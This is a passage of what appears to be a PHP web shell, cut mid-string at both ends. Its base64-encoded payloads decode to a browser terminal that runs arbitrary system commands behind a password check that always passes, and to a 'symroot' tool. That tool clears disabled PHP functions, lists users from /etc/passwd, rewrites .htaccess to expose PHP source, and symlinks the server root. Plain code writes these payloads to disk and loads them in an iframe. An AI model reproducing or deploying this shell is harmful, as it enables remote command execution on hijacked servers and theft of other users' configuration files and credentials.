tUmxkR1ZqZEdsdVp5QTlJQ0pEYjI1MFpXNTAgTFZSeVlXNXpabVZ5TFVWdVkyOWthVzVuT2lCb2RIUndPaTh2SWlBdUlDUmZVMFZTVmsgVlNXeWRUUlZKV1JWSmZUa0ZOUlNkZElDNGdKRjlUUlZKV1JWSmJKMU5EVWtsUVZGOU8gUVUxRkoxMGdPdzBLYldGcGJDQW9KR1Z1WTI5a2FXNW5MQ1J5Wlhvc0pITmxjblpsY20gUmxkR1ZqZEdsdVp5a2dPdzBLSkc1elkyUnBjaUE5S0NGcGMzTmxkQ2drWDFKRlVWVkYgVTFSYkozTmpaR2x5SjEwcEtUOW5aWFJqZDJRb0tUcGphR1JwY2lna1gxSkZVVlZGVTEgUmJKM05qWkdseUoxMHBPeVJ1YzJOa2FYSTlaMlYwWTNka0tDazcnKSk7Cgo/Pgo8L2Zvcm0+PC90ZD48L3RyPgo8L2JvZHk+CjwvaHRtbD4KPD9waHAgPz4KPD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygxKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0gLy8gZW5kIHBocHRoaWVubGUKCi8qIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyMKIyMgVGhlIG1haW4gdGhpbmcgc3RhcnRzIGhlcmUKIyMgQWxsIG91dHB1dCBpc3QgWEhUTUwKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwokdGVybWluYWw9bmV3IHBocHRoaWVubGU7CkBzZXNzaW9uX3N0YXJ0KCk7CiR0ZXJtaW5hbC0+aW5pdFZhcnMoKTsKJHRlcm1pbmFsLT5idWlsZENvbW1hbmRIaXN0b3J5KCk7CiR0ZXJtaW5hbC0+YnVpbGRKYXZhSGlzdG9yeSgpOwppZighaXNzZXQoJF9TRVNTSU9OWydwcm9tcHQnXSkpOiAkdGVybWluYWwtPmZvcm1hdFByb21wdCgpOyBlbmRpZjsKJHRlcm1pbmFsLT5vdXRwdXRIYW5kbGUoJGFsaWFzZXMpOwoKaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOwplY2hvICc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/PicgLiAiXG4iOwovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIHNhZmUgbW9kZSBpbmNyZWFzZQojIyBibG9xdWUgZm9uY3Rpb24KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwo/Pgo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIgoiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiB4bWw6bGFuZz0iZW4iIGxhbmc9ImVuIj4KPGhlYWQ+Cjx0aXRsZT48P3BocCBlY2hvICJXZWJzaXRlIDogIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7Pz4gfCA8P3BocCBlY2hvICJJUCA6ICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIiI7Pz48L3RpdGxlPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwpmdW5jdGlvbiBrZXkoZSkgewppZiAoIWUpIHZhciBlID0gd2luZG93LmV2ZW50OwppZiAoZS5rZXlDb2RlID09IDM4ICYmIGN1cnJlbnRfbGluZSA8IGNvbW1hbmRfaGlzdC5sZW5ndGgtMSkgewpjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXSA9IGRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWU7CmN1cnJlbnRfbGluZSsrOwpkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlID0gY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV07Cn0KaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQp9CmZ1bmN0aW9uIGluaXQoKSB7CmRvY3VtZW50LnNoZWxsLnNldEF0dHJpYnV0ZSgiYXV0b2NvbXBsZXRlIiwgIm9mZiIpOwpkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsVG9wID0gZG9jdW1lbnQuc2hlbGwub3V0cHV0LnNjcm9sbEhlaWdodDsKZG9jdW1lbnQuc2hlbGwuY29tbWFuZC5mb2N1cygpOwp9Cjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDI1MHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPGgyPkRldmVsb3BlciBCeSBLeW1Mam5rPC9oMj4KCjw/cGhwIGlmIChlbXB0eSgkX1JFUVVFU1RbJ3Jvd3MnXSkpICRfUkVRVUVTVFsncm93cyddID0gMjY7ID8+Cgo8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KPHRyPjx0ZCBjbGFzcz0iaGVhZCIgc3R5bGU9ImNvbG9yOiAjMDAwMDAwOyI+PGI+UFdEIDo8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjYwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoqLz8+CjwvZm9ybT48L3RkPjwvdHI+CjwvYm9keT4KPC9odG1sPgo8P3BocCA/Pg==';
  1527. $file = fopen("command.php", "w+");
  1528. $write = fwrite($file, base64_decode($perltoolss));
  1529. fclose($file);
  1530. echo "<iframe src=command.php width=63% height=700px frameborder=0></iframe> ";
  1531. }
  1532. //symroot
  1533. elseif ($action == 'symroot') {
  1534. $file = fopen($dir . "symroot.php", "w+");
  1535. $perltoolss = 'PD9waHAKCgogJGhlYWQgPSAnCjxodG1sPgo8aGVhZD4KPC9zY3JpcHQ+Cjx0aXRsZT4tLT09W1tTeW0gbGpuayBBTGwgQ29uRmlnICsgU3ltIFJvb3QgQnkgTeG7uSBIdXnhu4FuXV09PS0tPC90aXRsZT4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPgoKPFNUWUxFPgpib2R5IHsKZm9udC1mYW1pbHk6IFRhaG9tYQp9CnRyIHsKQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7CmNvbG9yOiAjRkZGOwp9CnRkIHsKQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7CmNvbG9yOiAjRkZGOwp9Ci50YWJsZTEgewpCT1JERVI6IDBweCBCbGFjazsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmNvbG9yOiAjRkZGOwp9Ci50ZDEgewpCT1JERVI6IDBweDsKQk9SREVSLUNPTE9SOiAjMzMzMzMzOwpmb250OiA3cHQgVmVyZGFuYTsKY29sb3I6IEdyZWVuOwp9Ci50cjEgewpCT1JERVI6IDBweDsKQk9SREVSLUNPTE9SOiAjMzMzMzMzOwpjb2xvcjogI0ZGRjsKfQp0YWJsZSB7CkJPUkRFUjogZGFzaGVkIDFweCAjMzMzOwpCT1JERVItQ09MT1I6ICMzMzMzMzM7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpjb2xvcjogI0ZGRjsKfQppbnB1dCB7CmJvcmRlcgkJCTogZGFzaGVkIDFweDsKYm9yZGVyLWNvbG9yCQk6ICMzMzM7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiA4cHQgVmVyZGFuYTsKY29sb3I6IFJlZDsKfQpzZWxlY3QgewpCT1JERVItUklHSFQ6ICBCbGFjayAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICNERjAwMDAgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjREYwMDAwIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogQmxhY2sgMXB4IHNvbGlkOwpCT1JERVItY29sb3I6ICNGRkY7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiA4cHQgVmVyZGFuYTsKY29sb3I6IFJlZDsKfQpzdWJtaXQgewpCT1JERVI6ICBidXR0b25oaWdobGlnaHQgMnB4IG91dHNldDsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CndpZHRoOiAzMCU7CmNvbG9yOiAjRkZGOwp9CnRleHRhcmVhIHsKYm9yZGVyCQkJOiBkYXNoZWQgMXB4ICMzMzM7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiBGaXhlZHN5cyBib2xkOwpjb2xvcjogIzk5OTsKfQpCT0RZIHsKCVNDUk9MTEJBUi1GQUNFLUNPTE9SOiBCbGFjazsgU0NST0xMQkFSLUhJR0hMSUdIVC1jb2xvcjogI0ZGRjsgU0NST0xMQkFSLVNIQURPVy1jb2xvcjogI0ZGRjsgU0NST0xMQkFSLTNETElHSFQtY29sb3I6ICNGRkY7IFNDUk9MTEJBUi1BUlJPVy1DT0xPUjogQmxhY2s7IFNDUk9MTEJBUi1UUkFDSy1jb2xvcjogI0ZGRjsgU0NST0xMQkFSLURBUktTSEFET1ctY29sb3I6ICNGRkYKbWFyZ2luOiAxcHg7CmNvbG9yOiBSZWQ7CmJhY2tncm91bmQtY29sb3I6IEJsYWNrOwp9Ci5tYWluIHsKbWFyZ2luCQkJOiAtMjg3cHggMHB4IDBweCAtNDkwcHg7CkJPUkRFUjogZGFzaGVkIDFweCAjMzMzOwpCT1JERVItQ09MT1I6ICMzMzMzMzM7Cn0KLnR0IHsKYmFja2dyb3VuZC1jb2xvcjogQmxhY2s7Cn0KCkE6bGluayB7CglDT0xPUjogV2hpdGU7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6dmlzaXRlZCB7CglDT0xPUjogV2hpdGU7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6aG92ZXIgewoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTphY3RpdmUgewoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KPC9TVFlMRT4KPHNjcmlwdCBsYW5ndWFnZT1cJ2phdmFzY3JpcHRcJz4KZnVuY3Rpb24gaGlkZV9kaXYoaWQpCnsKICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9IFwnbm9uZVwnOwogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0wO1wnOwp9CmZ1bmN0aW9uIHNob3dfZGl2KGlkKQp7CiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ2Jsb2NrXCc7CiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTE7XCc7Cn0KZnVuY3Rpb24gY2hhbmdlX2RpdnN0KGlkKQp7CiAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID09IFwnbm9uZVwnKQogICAgc2hvd19kaXYoaWQpOwogIGVsc2UKICAgIGhpZGVfZGl2KGlkKTsKfQo8L3NjcmlwdD4nOyA/Pgo8aHRtbD4KCTxoZWFkPgoJCTw/cGhwIAoJCWVjaG8gJGhlYWQgOwoJCWVjaG8gJwoKPHRhYmxlIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiIGNsYXNzPSJ0YjEiID4KCgkJCQoKICAgICAgIDx0ZCB3aWR0aD0iMTAwJSIgYWxpZ249Y2VudGVyIHZhbGlnbj0idG9wIiByb3dzcGFuPSIxIj4KICAgICAgICAgICA8Zm9udCBjb2xvcj1yZWQgc2l6ZT01IGZhY2U9ImNvbWljIHNhbnMgbXMiPjxiPi0tPT1bWyBTeW0gbGpuayBBTGwgQ29uRmlnPC9mb250Pjxmb250IGNvbG9yPXdoaXRlIHNpemU9NSBmYWNlPSJjb21pYyBzYW5zIG1zIj48Yj4gICArIFN5bSBSb290IDwvZm9udD48Zm9udCBjb2xvcj1ncmVlbiBzaXplPTUgZmFjZT0iY29taWMgc2FucyBtcyI+PGI+ICBieSBN4bu5IEh1eeG7gW5dXT09LS08L2ZvbnQ+IDxkaXYgY2xhc3M9ImhlZHIiPiAKCiAgICAgICAgPHRkIGhlaWdodD0iMTAiIGFsaWduPSJsZWZ0IiBjbGFzcz0idGQxIj48L3RkPjwvdHI+PHRyPjx0ZCAKICAgICAgICB3aWR0aD0iMTAwJSIgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIHJvd3NwYW49IjEiPjxmb250IAogICAgICAgIGNvbG9yPSJyZWQiIGZhY2U9ImNvbWljIHNhbnMgbXMic2l6ZT0iMSI+PGI+IAogICAgICAgIAkJCQkJCiAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAKCic7IAoKPz4KPGNlbnRlcj4KPGZvcm0gbWV0aG9kPXBvc3Q+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yIGZhY2U9ImNvbWljIHNhbnMgbXMiPjEuIENyZWF0IHBocC5pbmkgZmlsZTwvZm9udD48cD4KPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9aW5pIHZhbHVlPSJ1c2UgdG8gR2VuZXJhdGUgUEhQLmluaSIgLz48L2Zvcm0+Cjxmb3JtIG1ldGhvZD1wb3N0Pjxmb250IGNvbG9yPXdoaXRlIHNpemU9MiBmYWNlPSJjb21pYyBzYW5zIG1zIj4yLiBHZXQgdXNlcm5hbWVzIGZvciBzeW1saW5rPC9mb250PjxwPgoJPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9InVzcmUiIHZhbHVlPSJ1c2UgdG8gRXh0cmFjdCB1c2VybmFtZXMiIC8+PC9mb3JtPgoJCgk8P3BocAoJaWYoaXNzZXQoJF9QT1NUWydpbmknXSkpCgl7CgkJCgkJJHI9Zm9wZW4oJ3BocC5pbmknLCd3Jyk7CgkJJHJyPSIgZGlzYmFsZV9mdW5jdGlvbnM9bm9uZSAiOwoJCWZ3cml0ZSgkciwkcnIpOwoJCSRsaW5rPSI8YSBocmVmPXBocC5pbmk+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+PHU+b3BlbiBQSFAuSU5JPC91PjwvZm9udD48L2E+IjsKCQllY2hvICRsaW5rOwkKCQl9Cgk/PgoJPD9waHAKCWlmKGlzc2V0KCRfUE9TVFsndXNyZSddKSl7CgkJPz48Zm9ybSBtZXRob2Q9cG9zdD4KCTx0ZXh0YXJlYSByb3dzPTEwIGNvbHM9NTAgbmFtZT11c2VyPjw/cGhwICAkdXNlcnM9ZmlsZSgiL2V0Yy9wYXNzd2QiKTsKZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpCnsKJHN0cj1leHBsb2RlKCI6IiwkdXNlcik7CmVjaG8gJHN0clswXS4iXG4iOwp9Cgo/PjwvdGV4dGFyZWE+PGJyPjxicj4KCTxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1IHZhbHVlPSJMZXRzIFN0YXJ0IiAvPjwvZm9ybT4KCTw/cGhwIH0gPz4KCTw/cGhwCgllcnJvcl9yZXBvcnRpbmcoMCk7CgllY2hvICI8Zm9udCBjb2xvcj1yZWQgc2l6ZT0yIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+IjsKCWlmKGlzc2V0KCRfUE9TVFsnc3UnXSkpCgl7Cglta2Rpcignc3ltJywwNzc3KTsKJHJyICA9ICIgT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOwokZyA9IGZvcGVuKCdzeW0vLmh0YWNjZXNzJywndycpOwpmd3JpdGUoJGcsJHJyKTsKJFN5bSA9IHN5bWxpbmsoIi8iLCJzeW0vcm9vdCIpOwoJCSAgICAkcnQ9IjxhIGhyZWY9c3ltL3Jvb3Q+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0zIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+IFN5bTwvZm9udD48L2E+IjsKICAgICAgICBlY2hvICJSb290IC8gZm9sZGVyIHN5bWxpbmsgPGJyPjx1PiRydDwvdT4iOwoJCQoJCSRkaXI9bWtkaXIoJ3N5bScsMDc3Nyk7CgkJJHIgID0gIiBPcHRpb25zI